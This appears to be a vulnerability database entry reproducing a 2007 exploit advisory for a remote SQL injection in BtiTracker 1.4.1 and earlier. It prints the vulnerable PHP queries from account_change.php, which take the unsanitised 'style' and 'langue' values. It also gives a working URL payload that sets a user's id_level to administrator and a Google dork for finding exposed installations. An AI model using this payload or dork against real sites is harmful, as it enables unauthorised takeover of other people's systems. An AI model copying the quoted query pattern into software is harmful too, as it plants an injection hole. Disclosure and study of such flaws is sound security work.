BtiTracker <= 1.4.1 (become admin) Remote SQL Injection Vulnerability

🗓️ 23 May 2007 00:00:00Reported by RootType

BtiTracker <= 1.4.1 Remote SQL Injection Vulnerability allows any user to become admin with a specific URL parameter


                                                #################################################################################
#										
#	BtiTracker&nbsp;&lt;=v1.4.1&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#									
#&nbsp;Discovered&nbsp;by:&nbsp;m@ge|ozz&nbsp;-&nbsp;[email protected]					
#&nbsp;Vulnerabitity:&nbsp;Remote&nbsp;Sql&nbsp;Injection&nbsp;/	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;Problem:&nbsp;Any&nbsp;user&nbsp;can&nbsp;be&nbsp;Administrator					
#&nbsp;Website&nbsp;Vendor:&nbsp;http://www.btiteam.org					
#&nbsp;										
#&nbsp;Vulnerable&nbsp;Code&nbsp;(account_change.php):						
#										
#&nbsp;if&nbsp;(isset($_GET[&quot;style&quot;]))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;						
#&nbsp;@mysql_query(&quot;UPDATE&nbsp;users&nbsp;SET&nbsp;style=$style&nbsp;WHERE&nbsp;id=&quot;.$CURUSER[&quot;uid&quot;]);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;										
#&nbsp;if&nbsp;(isset($_GET[&quot;langue&quot;]))&nbsp;							
#&nbsp;@mysql_query(&quot;UPDATE&nbsp;users&nbsp;SET&nbsp;language=$langue&nbsp;WHERE&nbsp;id=&quot;.$CURUSER[&quot;uid&quot;]);		
#										
#&nbsp;PoC:&nbsp;account_change.php?style=2[SQL]&amp;returnto=%2F				
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;										
#&nbsp;Example&nbsp;to&nbsp;gain&nbsp;admin&nbsp;control:&nbsp;account_change.php?style=1,id_level=8								
#										
#&nbsp;										
#&nbsp;GoogleDork:&nbsp;&quot;by&nbsp;Btiteam&quot;							
#										
#&nbsp;Shoutz:&nbsp;-&nbsp;eVolVe&nbsp;or&nbsp;Die&nbsp;-&nbsp;							
#										
#################################################################################

23 May 2007 00:00Current

7.1High risk

Vulners AI Score7.1

BtiTracker &lt;= 1.4.1 (become admin) Remote SQL Injection Vulnerability

BtiTracker <= 1.4.1 (become admin) Remote SQL Injection Vulnerability